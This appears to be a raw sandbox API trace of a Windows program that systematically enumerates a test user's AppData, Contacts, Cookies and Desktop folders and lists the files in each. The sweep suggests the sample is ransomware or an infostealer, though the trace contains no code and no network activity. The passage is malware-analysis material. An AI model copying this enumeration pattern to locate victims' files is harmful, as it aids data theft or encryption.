PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.406] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0059.406] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.407] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.407] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e59c8 | out: hHeap=0x670000) returned 1 [0059.407] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.407] PathFindFileNameW (pszPath="") returned="" [0059.407] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.407] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.407] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.407] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe6e3250, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0xe6e3250, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0059.407] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0059.407] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa9ff1f0, ftLastAccessTime.dwHighDateTime=0x1d53558, ftLastWriteTime.dwLowDateTime=0xfa9ff1f0, ftLastWriteTime.dwHighDateTime=0x1d53558, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0059.407] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa9ff1f0, ftLastAccessTime.dwHighDateTime=0x1d53558, ftLastWriteTime.dwLowDateTime=0xfa9ff1f0, ftLastWriteTime.dwHighDateTime=0x1d53558, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0059.407] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.407] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d46a0 | out: hHeap=0x670000) returned 1 [0059.407] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31196b8 | out: hHeap=0x670000) returned 1 [0059.407] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.407] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\") returned="Application Data\\" [0059.407] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.408] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.408] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e59c8 | out: hHeap=0x670000) returned 1 [0059.408] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.408] PathFindFileNameW (pszPath="") returned="" [0059.408] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa9ff1f0, ftLastAccessTime.dwHighDateTime=0x1d53558, ftLastWriteTime.dwLowDateTime=0xfa9ff1f0, ftLastWriteTime.dwHighDateTime=0x1d53558, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0xffffffff [0059.408] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d5a0 | out: hHeap=0x670000) returned 1 [0059.408] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d46a0 | out: hHeap=0x670000) returned 1 [0059.408] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0059.408] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.408] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="Contacts\\" [0059.408] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.408] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.408] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e59c8 | out: hHeap=0x670000) returned 1 [0059.409] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.409] PathFindFileNameW (pszPath="") returned="" [0059.409] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.409] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0059.409] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.409] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ea7ef20, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2ea7ef20, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2ea7ef20, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x49a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Aclviho ASldjfl.contact", cAlternateFileName="ACLVIH~1.CON")) returned 1 [0059.409] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1 [0059.409] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaa5080, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaa5080, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaa5080, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="asdlfk poopvy.contact", cAlternateFileName="ASDLFK~1.CON")) returned 1 [0059.409] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eacb1e0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eacb1e0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eacb1e0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x499, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chucu jadnvk.contact", cAlternateFileName="CHUCUJ~1.CON")) returned 1 [0059.409] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0059.409] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x496, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lulcit amkdfe.contact", cAlternateFileName="LULCIT~1.CON")) returned 1 [0059.409] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 1 [0059.409] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0 [0059.409] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.410] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d46a0 | out: hHeap=0x670000) returned 1 [0059.410] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31196b8 | out: hHeap=0x670000) returned 1 [0059.410] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.410] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\") returned="Cookies\\" [0059.410] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.410] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.410] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e59c8 | out: hHeap=0x670000) returned 1 [0059.410] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.410] PathFindFileNameW (pszPath="") returned="" [0059.410] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0xffffffff [0059.410] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.410] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d46a0 | out: hHeap=0x670000) returned 1 [0059.410] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31196b8 | out: hHeap=0x670000) returned 1 [0059.410] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.410] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0059.410] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.410] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.410] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e59c8 | out: hHeap=0x670000) returned 1 [0059.411] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.411] PathFindFileNameW (pszPath="") returned="" [0059.411] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2045710, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x2045710, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.411] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.411] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2045710, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x2045710, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.411] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc757f9d0, ftCreationTime.dwHighDateTime=0x1d4c589, ftLastAccessTime.dwLowDateTime=0xe63d3bb0, ftLastAccessTime.dwHighDateTime=0x1d4c9a0, ftLastWriteTime.dwLowDateTime=0xe63d3bb0, ftLastWriteTime.dwHighDateTime=0x1d4c9a0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0oqCmMdMfyA -VyQ", cAlternateFileName="0OQCMM~1")) returned 1 [0059.411] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fa6f1c0, ftCreationTime.dwHighDateTime=0x1d4d312, ftLastAccessTime.dwLowDateTime=0xd180f90, ftLastAccessTime.dwHighDateTime=0x1d4cc8e, ftLastWriteTime.dwLowDateTime=0xd180f90, ftLastWriteTime.dwHighDateTime=0x1d4cc8e, nFileSizeHigh=0x0, nFileSizeLow=0x15690, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7FXGdv.mkv", cAlternateFileName="")) returned 1 [0059.411] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6203e00, ftCreationTime.dwHighDateTime=0x1d53558, ftLastAccessTime.dwLowDateTime=0xf6b8d480, ftLastAccessTime.dwHighDateTime=0x1d53558, ftLastWriteTime.dwLowDateTime=0xf4ef1100, ftLastWriteTime.dwHighDateTime=0x1d53558, nFileSizeHigh=0x0, nFileSizeLow=0x6fa00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="A959.tmp.exe", cAlternateFileName="A959TM~1.EXE")) returned 1 [0059.411] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3c82d80, ftCreationTime.dwHighDateTime=0x1d4c987, ftLastAccessTime.dwLowDateTime=0x50fb1660, ftLastAccessTime.dwHighDateTime=0x1d4c538, ftLastWriteTime.dwLowDateTime=0x50fb1660, ftLastWriteTime.dwHighDateTime=0x1d4c538, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cJ1uF3yzdYr", cAlternateFileName="CJ1UF3~1")) returned 1 [0059.411] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0059.411] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5b2580, ftCreationTime.dwHighDateTime=0x1d4c5ae, ftLastAccessTime.dwLowDateTime=0x74afc990, ftLastAccessTime.dwHighDateTime=0x1d4c6fd, ftLastWriteTime.dwLowDateTime=0x74afc990, ftLastWriteTime.dwHighDateTime=0x1d4c6fd, nFileSizeHigh=0x0, nFileSizeLow=0x48b9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DfM1jMQH5m.m4a", cAlternateFileName="DFM1JM~1.M4A")) returned 1 [0059.411] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb5383e0, ftCreationTime.dwHighDateTime=0x1d4cd71, ftLastAccessTime.dwLowDateTime=0x7f826fe0, ftLastAccessTime.dwHighDateTime=0x1d4d5a2, ftLastWriteTime.dwLowDateTime=0x7f826fe0, ftLastWriteTime.dwHighDateTime=0x1d4d5a2, nFileSizeHigh=0x0, nFileSizeLow=0x150dc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eCYysFOHAuDPd0.odp", cAlternateFileName="ECYYSF~1.ODP")) returned 1 [0059.411] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5285a00, ftCreationTime.dwHighDateTime=0x1d4c9d3, ftLastAccessTime.dwLowDateTime=0xa78dae0, ftLastAccessTime.dwHighDateTime=0x1d4ce13, ftLastWriteTime.dwLowDateTime=0xa78dae0, ftLastWriteTime.dwHighDateTime=0x1d4ce13, nFileSizeHigh=0x0, nFileSizeLow=0x4891, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fn3wxYGSmK_5.wav", cAlternateFileName="FN3WXY~1.WAV")) returned 1 [0059.411] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b566a0, ftCreationTime.dwHighDateTime=0x1d4cda1, ftLastAccessTime.dwLowDateTime=0xca4bbb80, ftLastAccessTime.dwHighDateTime=0x1d4c693, ftLastWriteTime.dwLowDateTime=0xca4bbb80, ftLastWriteTime.dwHighDateTime=0x1d4c693, nFileSizeHigh=0x0, nFileSizeLow=0x4ce8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gl-n 26G.bmp", cAlternateFileName="GL-N26~1.BMP")) returned 1 [0059.411] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbbf8a0, ftCreationTime.dwHighDateTime=0x1d4cadc, ftLastAccessTime.dwLowDateTime=0x503807a0, ftLastAccessTime.dwHighDateTime=0x1d4d2e5, ftLastWriteTime.dwLowDateTime=0x503807a0, ftLastWriteTime.dwHighDateTime=0x1d4d2e5, nFileSizeHigh=0x0, nFileSizeLow=0x8409, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GMWkR.wav", cAlternateFileName="")) returned 1 [0059.411] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x995d1b00, ftCreationTime.dwHighDateTime=0x1d4c548, ftLastAccessTime.dwLowDateTime=0x2dff71c0, ftLastAccessTime.dwHighDateTime=0x1d4c94c, ftLastWriteTime.dwLowDateTime=0x2dff71c0, ftLastWriteTime.dwHighDateTime=0x1d4c94c, nFileSizeHigh=0x0, nFileSizeLow=0x3dda, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="I TKCX nhSV2b.mp3", cAlternateFileName="ITKCXN~1.MP3")) returned 1 [0059.411] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca678bd0, ftCreationTime.dwHighDateTime=0x1d4d0a2, ftLastAccessTime.dwLowDateTime=0xddd4430, ftLastAccessTime.dwHighDateTime=0x1d4d4b9, ftLastWriteTime.dwLowDateTime=0xddd4430, ftLastWriteTime.dwHighDateTime=0x1d4d4b9, nFileSizeHigh=0x0, nFileSizeLow=0xbd9a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KdF36F.avi", cAlternateFileName="")) returned 1 [0059.411] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf8e79c0, ftCreationTime.dwHighDateTime=0x1d4c888, ftLastAccessTime.dwLowDateTime=0x10a2e520, ftLastAccessTime.dwHighDateTime=0x1d4cd6c, ftLastWriteTime.dwLowDateTime=0x10a2e520, ftLastWriteTime.dwHighDateTime=0x1d4cd6c, nFileSizeHigh=0x0, nFileSizeLow=0x21b6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kKP8D1f.mp3", cAlternateFileName="")) returned 1 [0059.411] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d56e9a0, ftCreationTime.dwHighDateTime=0x1d4d0ae, ftLastAccessTime.dwLowDateTime=0xa8788c80, ftLastAccessTime.dwHighDateTime=0x1d4d256, ftLastWriteTime.dwLowDateTime=0xa8788c80, ftLastWriteTime.dwHighDateTime=0x1d4d256, nFileSizeHigh=0x0, nFileSizeLow=0x130ee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nborqaG7LbY-8nT0ByEv.pps", cAlternateFileName="NBORQA~1.PPS")) returned 1 [0059.411] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4191bce0, ftCreationTime.dwHighDateTime=0x1d4c94a, ftLastAccessTime.dwLowDateTime=0xfad1f900, ftLastAccessTime.dwHighDateTime=0x1d4cd8b, ftLastWriteTime.dwLowDateTime=0xfad1f900, ftLastWriteTime.dwHighDateTime=0x1d4cd8b, nFileSizeHigh=0x0, nFileSizeLow=0x163db, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nXxNQgqy6gVdEPQ.bmp", cAlternateFileName="NXXNQG~1.BMP")) returned 1 [0059.411] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41a443d0, ftCreationTime.dwHighDateTime=0x1d4c673, ftLastAccessTime.dwLowDateTime=0xb880f290, ftLastAccessTime.dwHighDateTime=0x1d4d21d, ftLastWriteTime.dwLowDateTime=0xb880f290, ftLastWriteTime.dwHighDateTime=0x1d4d21d, nFileSizeHigh=0x0, nFileSizeLow=0x971b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OjEEOfskM8q.m4a", cAlternateFileName="OJEEOF~1.M4A")) returned 1 [0059.411] FindNextFileW (in: hFindFile=0x3038588, 